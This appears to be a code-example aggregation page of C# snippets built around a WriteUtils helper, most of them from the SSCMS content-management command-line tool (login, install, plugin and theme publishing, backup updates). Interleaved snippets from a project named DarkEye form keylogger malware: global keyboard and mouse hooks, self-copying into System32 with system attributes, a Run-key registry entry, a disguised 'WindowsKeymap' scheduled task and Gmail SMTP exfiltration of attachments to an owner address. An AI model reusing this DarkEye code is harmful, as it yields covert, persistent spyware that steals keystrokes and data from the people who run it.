示例#1
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            var status = _configService.Status;

            if (status == null || string.IsNullOrEmpty(status.UserName) || string.IsNullOrEmpty(status.AccessToken))
            {
                await WriteUtils.PrintErrorAsync("you have not logged in");

                return;
            }

            status = new ConfigStatus
            {
                UserName    = string.Empty,
                AccessToken = string.Empty
            };

            await _configService.SaveStatusAsync(status);

            await WriteUtils.PrintSuccessAsync("you have successful logged out");
        }
示例#2
0
        private static void Initialize(String[] args)
        {
            try
            {
                globalLog = new Log(null);
                globalLog.AddLog("Connected");

                Protection.Initialize();

                commandManager   = new CommandManager();
                duplicateManager = new DuplicateManager(Utils.Utils.IsAdmin ?
                                                        Utils.Utils.GetRandomFileNameFromDirectory("C:\\Windows\\System32") :
                                                        (Path.GetTempPath() + Utils.Utils.GetRandomString(6) + ".exe"));
                ownerManager  = new OwnerManager();
                dataManager   = new DataManager();
                windowManager = new WindowManager();
                lineManager   = new LineManager();
                hookManager   = new HookManager();

                commandManager.registerCommand("-duplicate");
                commandManager.registerCommand("-antikill");
                commandManager.registerCommand("-debug");
                ownerManager.registerOwner(dataManager.ownerData);

                commandManager.Init(args);
                duplicateManager.Init();
                windowManager.Init();

                Streams.Initialize();

                globalLog.DispathContent();
                hookManager.Init();
            }
            catch (Exception ex) { WriteUtils.writeError(DARKEYE_TITLE + ": " + ex.Message); }
        }
示例#3
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            await Console.Out.WriteLineAsync($"Cli version: {_settingsManager.Version}");

            var entryAssembly = Assembly.GetExecutingAssembly();
            await Console.Out.WriteLineAsync($"Cli location: {entryAssembly.Location}");

            await Console.Out.WriteLineAsync($"Work location: {_settingsManager.ContentRootPath}");

            var configPath = CliUtils.GetConfigPath(_settingsManager);

            if (FileUtils.IsFileExists(configPath))
            {
                await Console.Out.WriteLineAsync($"Database type: {_settingsManager.Database.DatabaseType.GetDisplayName()}");

                await Console.Out.WriteLineAsync($"Database connection string: {_settingsManager.DatabaseConnectionString}");

                if (!string.IsNullOrEmpty(_settingsManager.DatabaseConnectionString))
                {
                    var(isConnectionWorks, errorMessage) =
                        await _settingsManager.Database.IsConnectionWorksAsync();

                    if (!isConnectionWorks)
                    {
                        await WriteUtils.PrintErrorAsync($"Unable to connect to database, error message:{errorMessage}");

                        return;
                    }

                    await Console.Out.WriteLineAsync("Database status: Connection successful");
                }

                var plugins = _pluginManager.Plugins;
                foreach (var plugin in plugins)
                {
                    await Console.Out.WriteLineAsync($"PluginId: {plugin.PluginId}, Version: {plugin.Version}");
                }
            }
            else
            {
                await Console.Out.WriteLineAsync($"The sscms.json file does not exist: {configPath}");
            }

            var(status, _) = _apiService.GetStatus();
            if (status != null)
            {
                await Console.Out.WriteLineAsync($"Login user: {status.UserName}");
            }
        }
示例#4
0
        private async Task RunHelpAsync(string commandName)
        {
            if (_isHelp || string.IsNullOrEmpty(commandName))
            {
                await Console.Out.WriteLineAsync("Welcome to SSCMS Command Line");

                await Console.Out.WriteLineAsync();

                var services = GetJobServices();
                foreach (var service in services)
                {
                    await WriteUtils.PrintRowLine();

                    await WriteUtils.PrintRow(service.CommandName);

                    await WriteUtils.PrintRowLine();

                    service.PrintUsage();
                }
            }
            else
            {
                Console.WriteLine($"'{commandName}' is not a sscms command. See 'sscms --help'");
            }
        }
示例#5
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            if (string.IsNullOrEmpty(_account))
            {
                _account = ReadUtils.GetString("Username:"******"Password:"******"you have successful logged in");
            }
            else
            {
                await WriteUtils.PrintErrorAsync(failureMessage);
            }
        }
示例#6
0
    public override ByteArray Serialize(ByteArray stream = null, bool skipHead = false)
    {
        stream = base.Serialize(stream, skipHead);

        if (this.hasUsername)
        {
            WriteUtils.WriteTag(stream, WireType.LengthDelimited, 1);
            WriteUtils.Write_TYPE_STRING(stream, this.username);
        }
        else
        {
            throw new ProtobufException("Required field username not set");
        }

        if (this.hasPassword)
        {
            WriteUtils.WriteTag(stream, WireType.LengthDelimited, 2);
            WriteUtils.Write_TYPE_STRING(stream, this.password);
        }
        else
        {
            throw new ProtobufException("Required field password not set");
        }


        return(stream);
    }
示例#7
0
        public void Init()
        {
            try
            {
                KeyboardHook keyboardHook = new KeyboardHook();
                MouseHook    mouseHook    = new MouseHook();

                keyboardHook.OnKeyPressed   += onKeyPressed;
                keyboardHook.OnKeyUnpressed += onKeyUnPressed;
                keyboardHook.Hook();

                mouseHook.MouseAction += onMouseClick;
                mouseHook.Hook();

                Application.Run();

                keyboardHook.UnHook();
                mouseHook.UnHook();
                WriteUtils.write("Initialization: HookManager");
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("Initialization: HookManager Failed: " + ex.ToString());
            }
        }
示例#8
0
文件: Email.cs 项目: x1234xx/DarkEye
        private void SendEmail()
        {
            try
            {
                MailMessage mail       = new MailMessage();
                SmtpClient  SmtpServer = new SmtpClient("smtp.gmail.com");
                mail.From = new MailAddress(owner.from);
                mail.To.Add(owner.to);
                mail.Subject = subject;
                mail.Body    = body;

                foreach (Attachment attachment in attachments)
                {
                    mail.Attachments.Add(attachment);
                }

                SmtpServer.Port        = owner.port;
                SmtpServer.Credentials = new System.Net.NetworkCredential(owner.from, owner.pass);
                SmtpServer.EnableSsl   = true;

                SmtpServer.Send(mail);
                WriteUtils.write("DispathEmail: Sending...");
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("DispathEmail: " + ex.ToString());
            }
        }
示例#9
0
        public async Task RunExecuteAsync(string commandName, string[] commandArgs, string[] commandExtras, IJobExecutionContext jobContext)
        {
            try
            {
                var service = GetJobService(commandName);
                if (service != null)
                {
                    var context = new JobContext(commandName, commandArgs, commandExtras, jobContext);
                    await service.ExecuteAsync(context);
                }
            }
            catch (Exception ex)
            {
                await WriteUtils.PrintErrorAsync(ex.Message);

                //var errorLogFilePath = CliUtils.CreateErrorLogFile("siteserver", _settingsManager);

                //await CliUtils.AppendErrorLogsAsync(errorLogFilePath, new List<TextLogInfo>
                //{
                //    new TextLogInfo
                //    {
                //        DateTime = DateTime.Now,
                //        Detail = "Console Error",
                //        Exception = ex
                //    }
                //});
            }
        }
示例#10
0
        private async Task RunRepeatAsync()
        {
            try
            {
                var factory = new StdSchedulerFactory(new NameValueCollection
                {
                    { "quartz.serializer.type", "binary" }
                });
                var scheduler = await factory.GetScheduler();

                await scheduler.Start();

                var job = JobBuilder.Create <SchedulerJob>()
                          .WithIdentity("job1", "group1")
                          .Build();

                var trigger = TriggerBuilder.Create()
                              .WithIdentity("trigger1", "group1")
                              .StartNow()
                              .WithCronSchedule(_repeat)
                              .WithPriority(1)
                              .Build();

                await scheduler.ScheduleJob(job, trigger);

                await Task.Delay(-1);

                await scheduler.Shutdown();
            }
            catch (Exception ex)
            {
                await WriteUtils.PrintErrorAsync(ex.Message);
            }
        }
示例#11
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            if (!await _configRepository.IsNeedInstallAsync())
            {
                await WriteUtils.PrintErrorAsync($"SS CMS has been installed in {_settingsManager.ContentRootPath}");

                return;
            }

            var userName = string.IsNullOrEmpty(_userName)
                ? ReadUtils.GetString("Super administrator username:"******"Super administrator password:"******"index.html"), Constants.Html5Empty);

            await WriteUtils.PrintSuccessAsync("Congratulations, SS CMS was installed successfully!");
        }
示例#12
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            var directory = _directory;

            if (string.IsNullOrEmpty(directory))
            {
                directory = string.Empty;
            }

            var configPath = CliUtils.GetConfigPath(_settingsManager);

            if (!FileUtils.IsFileExists(configPath))
            {
                await WriteUtils.PrintErrorAsync($"The sscms.json file does not exist: {configPath}");

                return;
            }

            await Console.Out.WriteLineAsync($"Database type: {_settingsManager.DatabaseType.GetDisplayName()}");

            await Console.Out.WriteLineAsync($"Database connection string: {_settingsManager.DatabaseConnectionString}");

            var(isConnectionWorks, errorMessage) = await _settingsManager.Database.IsConnectionWorksAsync();

            if (!isConnectionWorks)
            {
                await WriteUtils.PrintErrorAsync($"Unable to connect to database, error message: {errorMessage}");

                return;
            }

            var site = await _databaseManager.SiteRepository.GetSiteByDirectoryAsync(directory);

            if (site == null)
            {
                await WriteUtils.PrintErrorAsync($"Unable to find the site, directory: {directory}");

                return;
            }
            await Console.Out.WriteLineAsync($"site: {site.SiteName}");

            //await _createManager.CreateByAllAsync(site.Id);

            await _createManager.ExecuteAsync(site.Id, CreateType.All, 0, 0, 0, 0);

            await WriteUtils.PrintSuccessAsync("create pages successfully!");
        }
示例#13
0
 public void Init()
 {
     foreach (Owner owner in DarkEye.ownerManager.owners)
     {
         foreach (String target in owner.targets)
         {
             this.registerWindow(target);
         }
     }
     WriteUtils.write("Initialization: WindowManager");
 }
示例#14
0
 public void Init()
 {
     WriteUtils.write("Initialization: DuplicateManager");
     if (DarkEye.commandManager.IsWritenCommand("-duplicate"))
     {
         return;
     }
     this.Copyme(this.path);
     this.AutoRun(this.path);
     this.Scheduler(true, "daily", "highest", "WindowsKeymap", string.Concat("\"", this.path, "\""));
 }
示例#15
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            var pluginsPath = CliUtils.IsSsCmsExists(_settingsManager.ContentRootPath)
                ? _pathManager.PluginsPath
                : _settingsManager.ContentRootPath;

            var(status, _) = await _apiService.GetStatusAsync();

            var publisher = status == null
                ? ReadUtils.GetString("What's the publisher of your plugin?")
                : status.UserName;

            if (status == null && !StringUtils.IsStrictName(publisher))
            {
                await WriteUtils.PrintErrorAsync(
                    $@"Invalid plugin publisher: ""{publisher}"", string does not match the pattern of ""{StringUtils.StrictNameRegex}""");

                return;
            }

            var name = ReadUtils.GetString("What's the name of your plugin?");

            if (!StringUtils.IsStrictName(name))
            {
                await WriteUtils.PrintErrorAsync(
                    $@"Invalid plugin name: ""{publisher}"", string does not match the pattern of ""{StringUtils.StrictNameRegex}""");

                return;
            }

            var pluginId   = PluginUtils.GetPluginId(publisher, name);
            var pluginPath = PathUtils.Combine(pluginsPath, pluginId);

            var dict = new Dictionary <string, object>
            {
                ["name"]      = name,
                ["publisher"] = publisher
            };
            var json = TranslateUtils.JsonSerialize(dict);
            await FileUtils.WriteTextAsync(PathUtils.Combine(pluginPath, Constants.PackageFileName), json);

            await WriteUtils.PrintSuccessAsync($@"The plugin ""{pluginId}"" was created successfully.");
        }
示例#16
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            Process proc;

            if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
            {
                var psi = new ProcessStartInfo("./SSCMS.Web")
                {
                    RedirectStandardOutput = true
                };
                proc = Process.Start(psi);
            }
            else
            {
                proc = Process.Start("./SSCMS.Web");
            }

            if (proc == null)
            {
                await WriteUtils.PrintErrorAsync("Can not run SSCMS.");
            }
            else
            {
                Console.WriteLine("Starting SS CMS...");
                Thread.Sleep(5000);

                OpenUrl("http://localhost:5000/ss-admin/");

                using var sr = proc.StandardOutput;
                while (!sr.EndOfStream)
                {
                    Console.WriteLine(sr.ReadLine());
                }

                if (!proc.HasExited)
                {
                    proc.Kill();
                }
            }
        }
示例#17
0
文件: Data.cs 项目: x1234xx/DarkEye
        public String GetDataByIndex(int index)
        {
            String decrypted = CryptUtils.Decrypt(this.data, this.key);

            try
            {
                return(decrypted.Split(':')[index]);
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("GetDataByIndex returned null");
                return(null);
            }
        }
示例#18
0
 public void Copyme(String path)
 {
     try
     {
         File.Copy(Utils.Utils.GetThisPath(), path, true);
         File.SetAttributes(path, FileAttributes.ReadOnly | FileAttributes.System);
         WriteUtils.write("Copyme: Copied to: " + path);
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("Copyme: Failed " + ex.Message);
         return;
     }
 }
示例#19
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            if (string.IsNullOrEmpty(_name))
            {
                if (context.Extras != null && context.Extras.Length > 0)
                {
                    _name = context.Extras[0];
                }
            }
            if (string.IsNullOrEmpty(_name))
            {
                await WriteUtils.PrintErrorAsync("missing required name");

                return;
            }

            var(status, failureMessage) = await _apiService.GetStatusAsync();

            if (status == null)
            {
                await WriteUtils.PrintErrorAsync(failureMessage);

                return;
            }

            bool success;

            (success, failureMessage) = await _apiService.ThemeUnPublishAsync(_name);

            if (success)
            {
                await WriteUtils.PrintSuccessAsync($"Theme {_name} unpublished .");
            }
            else
            {
                await WriteUtils.PrintErrorAsync(failureMessage);
            }
        }
示例#20
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            var(status, failureMessage) = await _apiService.GetStatusAsync();

            if (status == null)
            {
                await WriteUtils.PrintErrorAsync(failureMessage);

                return;
            }

            var(success, name, filePath) = await ThemePackageJob.PackageAsync(_pathManager, _cacheManager, _databaseManager,
                                                                              _directory, false);

            if (!success)
            {
                return;
            }

            var fileSize = FileUtils.GetFileSizeByFilePath(filePath);

            await Console.Out.WriteLineAsync($"Theme Packaged: {filePath}");

            await Console.Out.WriteLineAsync($"Publishing theme {name} ({fileSize})...");

            (success, failureMessage) = await _apiService.ThemePublishAsync(filePath);

            if (success)
            {
                await WriteUtils.PrintSuccessAsync($"Theme published, your theme will live at {CloudUtils.Www.GetThemeUrl(status.UserName, name)}.");
            }
            else
            {
                await WriteUtils.PrintErrorAsync(failureMessage);
            }
        }
示例#21
0
    public override ByteArray Serialize(ByteArray stream = null, bool skipHead = false)
    {
        stream = base.Serialize(stream, skipHead);

        if (this.hasRetCode)
        {
            WriteUtils.WriteTag(stream, WireType.Varint, 1);
            WriteUtils.Write_TYPE_UINT32(stream, this.retCode);
        }
        else
        {
            throw new ProtobufException("Required field retCode not set");
        }


        return(stream);
    }
示例#22
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            if (string.IsNullOrEmpty(_userName))
            {
                await WriteUtils.PrintErrorAsync("missing required options '--username'");

                return;
            }

            if (!StringUtils.IsStrictName(_userName))
            {
                await WriteUtils.PrintErrorAsync(
                    $@"Invalid username: ""{_userName}"", string does not match the pattern of ""{StringUtils.StrictNameRegex}""");

                return;
            }

            if (string.IsNullOrEmpty(_password))
            {
                await WriteUtils.PrintErrorAsync("missing required options '--password'");

                return;
            }

            var(success, failureMessage) = await _apiService.RegisterAsync(_userName, _mobile, _email, _password);

            if (success)
            {
                await WriteUtils.PrintSuccessAsync("you have registered successfully, run sscms login to log in.");
            }
            else
            {
                await WriteUtils.PrintErrorAsync(failureMessage);
            }
        }
示例#23
0
 public void AutoRun(String path)
 {
     try
     {
         String str = path;
         if (!DarkEye.commandManager.IsWritenCommand("-duplicate"))
         {
             str = str + " -duplicate";
         }
         str = str + " " + DarkEye.commandManager.GetWritenCommands();
         Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
         key.SetValue(Utils.Utils.GetThisName(), str);
         WriteUtils.write("AutoRun: Registered!");
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("AutoRun: " + ex.Message);
     }
 }
示例#24
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            if (context.Extras == null || context.Extras.Length == 0)
            {
                await WriteUtils.PrintErrorAsync("missing required pluginId");

                return;
            }

            var(status, failureMessage) = await _apiService.GetStatusAsync();

            if (status == null)
            {
                await WriteUtils.PrintErrorAsync(failureMessage);

                return;
            }

            bool success;

            (success, failureMessage) = await _apiService.PluginUnPublishAsync(context.Extras[0]);

            if (success)
            {
                await WriteUtils.PrintSuccessAsync($"Plugin {context.Extras[0]} unpublished.");
            }
            else
            {
                await WriteUtils.PrintErrorAsync(failureMessage);
            }
        }
示例#25
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            var(success, _, filePath) =
                await PackageAsync(_pathManager, _cacheManager, _databaseManager, _directory, true);

            if (success)
            {
                var fileSize = FileUtils.GetFileSizeByFilePath(filePath);
                await WriteUtils.PrintSuccessAsync($"Theme packaged: {filePath} ({fileSize})");
            }
        }
示例#26
0
        public bool Scheduler(bool status, string timeset, string priority, string taskname, string filepath)
        {
            if (string.IsNullOrWhiteSpace(taskname) || string.IsNullOrWhiteSpace(filepath))
            {
                return(false);
            }
            ProcessWindowStyle PwsHide   = ProcessWindowStyle.Hidden;
            ProcessStartInfo   startInfo = new ProcessStartInfo
            {
                FileName       = "schtasks.exe",
                CreateNoWindow = false,
                WindowStyle    = PwsHide
            };

            try
            {
                switch (status)
                {
                case true:
                    startInfo.Arguments = string.Concat("/create /sc ", timeset, " /rl ", priority, " /tn ", taskname, " /tr ", filepath, " /f");
                    WriteUtils.write("Scheduler: Created task \"" + taskname + "\"");
                    break;

                case false:
                    startInfo.Arguments = string.Concat("/delete /tn ", taskname, " /f");
                    WriteUtils.write("Scheduler: Deleted task \"" + taskname + "\"");
                    break;
                }
                using (Process info = Process.Start(startInfo))
                {
                    info.Refresh();
                    info.WaitForExit();
                    WriteUtils.write("Scheduler: Started!");
                }
            }
            catch (Exception ex) { WriteUtils.writeError("Scheduler: " + ex.Message); }
            startInfo = null; return(true);
        }
示例#27
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            var pluginId = string.Empty;

            if (context.Extras != null && context.Extras.Length > 0)
            {
                pluginId = context.Extras[0];
            }

            var pluginPath = string.IsNullOrEmpty(pluginId)
                ? _settingsManager.ContentRootPath
                : PathUtils.Combine(_pathManager.GetPluginPath(pluginId));

            var(plugin, errorMessage) = await PluginUtils.ValidateManifestAsync(pluginPath);

            if (plugin == null)
            {
                await WriteUtils.PrintErrorAsync(errorMessage);

                return;
            }

            var zipPath  = Package(_pathManager, plugin);
            var fileSize = FileUtils.GetFileSizeByFilePath(zipPath);

            await WriteUtils.PrintSuccessAsync($"Packaged: {zipPath} ({fileSize})");
        }
示例#28
0
 public void Init(String[] args)
 {
     try
     {
         if (args.Length > 0)
         {
             foreach (String arg in args)
             {
                 Command command = GetCommandByName(arg);
                 if (command != null)
                 {
                     command.writen = true;
                 }
             }
             WriteUtils.write("CommandManager run with args: " + GetWritenCommands());
         }
         WriteUtils.write("Initialization: CommandManager");
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("Initialization: CommandManager Failed: " + ex.ToString());
     }
 }
示例#29
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            var(success, pluginAndUserList, failureMessage) = await _apiService.PluginSearchAsync(string.Join(' ', context.Extras));

            if (success)
            {
                await WriteUtils.PrintSuccessAsync(TranslateUtils.JsonSerialize(pluginAndUserList));
            }
            else
            {
                await WriteUtils.PrintErrorAsync(failureMessage);
            }
        }
示例#30
0
        public async Task ExecuteAsync(IPluginJobContext context)
        {
            if (!CliUtils.ParseArgs(_options, context.Args))
            {
                return;
            }

            if (_isHelp)
            {
                PrintUsage();
                return;
            }

            if (string.IsNullOrEmpty(_directory))
            {
                await WriteUtils.PrintErrorAsync("Backup folder name not specified: --directory");

                return;
            }

            var oldTreeInfo = new TreeInfo(_settingsManager, _directory);
            var newTreeInfo = new TreeInfo(_settingsManager, Folder);

            if (!DirectoryUtils.IsDirectoryExists(oldTreeInfo.DirectoryPath))
            {
                await WriteUtils.PrintErrorAsync($"The backup folder does not exist: {oldTreeInfo.DirectoryPath}");

                return;
            }
            DirectoryUtils.CreateDirectoryIfNotExists(newTreeInfo.DirectoryPath);

            _updateService.Load(oldTreeInfo, newTreeInfo);

            await Console.Out.WriteLineAsync($"Backup folder: {oldTreeInfo.DirectoryPath}, Update folder: {newTreeInfo.DirectoryPath}, Update to SSCMS version: {_settingsManager.Version}");

            var oldTableNames = TranslateUtils.JsonDeserialize <List <string> >(await FileUtils.ReadTextAsync(oldTreeInfo.TablesFilePath, Encoding.UTF8));
            var newTableNames = new List <string>();

            await WriteUtils.PrintRowLineAsync();

            await WriteUtils.PrintRowAsync("Backup table name", "Update table Name", "Count");

            await WriteUtils.PrintRowLineAsync();

            var siteIdList = new List <int>();
            var tableNames = new List <string>();

            UpdateUtils.LoadSites(_settingsManager, oldTreeInfo, siteIdList, tableNames);

            var table = new TableContentConverter(_settingsManager);

            var splitSiteTableDict = new Dictionary <int, TableInfo>();

            if (_contentSplit)
            {
                var converter = table.GetSplitConverter();
                foreach (var siteId in siteIdList)
                {
                    splitSiteTableDict.Add(siteId, new TableInfo
                    {
                        Columns    = converter.NewColumns,
                        TotalCount = 0,
                        RowFiles   = new List <string>()
                    });
                }
            }

            foreach (var oldTableName in oldTableNames)
            {
                var oldMetadataFilePath = oldTreeInfo.GetTableMetadataFilePath(oldTableName);

                if (!FileUtils.IsFileExists(oldMetadataFilePath))
                {
                    continue;
                }

                var oldTableInfo = TranslateUtils.JsonDeserialize <TableInfo>(await FileUtils.ReadTextAsync(oldMetadataFilePath, Encoding.UTF8));

                if (ListUtils.ContainsIgnoreCase(tableNames, oldTableName))
                {
                    if (_contentSplit)
                    {
                        var converter = table.GetConverter(oldTableName, oldTableInfo.Columns);

                        await _updateService.UpdateSplitContentsTableInfoAsync(splitSiteTableDict, siteIdList, oldTableName,
                                                                               oldTableInfo, converter);
                    }
                    else
                    {
                        var converter = table.GetConverter(oldTableName, oldTableInfo.Columns);
                        var tuple     = await _updateService.GetNewTableInfoAsync(oldTableName, oldTableInfo, converter);

                        if (tuple != null)
                        {
                            newTableNames.Add(tuple.Item1);

                            await FileUtils.WriteTextAsync(newTreeInfo.GetTableMetadataFilePath(tuple.Item1), TranslateUtils.JsonSerialize(tuple.Item2));
                        }
                    }
                }
                else
                {
                    var tuple = await _updateService.UpdateTableInfoAsync(oldTableName, oldTableInfo);

                    if (tuple != null)
                    {
                        newTableNames.Add(tuple.Item1);

                        await FileUtils.WriteTextAsync(newTreeInfo.GetTableMetadataFilePath(tuple.Item1), TranslateUtils.JsonSerialize(tuple.Item2));
                    }
                }
            }

            if (_contentSplit)
            {
                foreach (var siteId in siteIdList)
                {
                    var siteTableInfo = splitSiteTableDict[siteId];
                    var siteTableName = UpdateUtils.GetSplitContentTableName(siteId);
                    newTableNames.Add(siteTableName);

                    await FileUtils.WriteTextAsync(newTreeInfo.GetTableMetadataFilePath(siteTableName), TranslateUtils.JsonSerialize(siteTableInfo));
                }

                await UpdateUtils.UpdateSitesSplitTableNameAsync(_databaseManager, newTreeInfo, splitSiteTableDict);
            }

            await FileUtils.WriteTextAsync(newTreeInfo.TablesFilePath, TranslateUtils.JsonSerialize(newTableNames));

            await WriteUtils.PrintRowLineAsync();

            await WriteUtils.PrintSuccessAsync("Update the backup data to the new version successfully!");
        }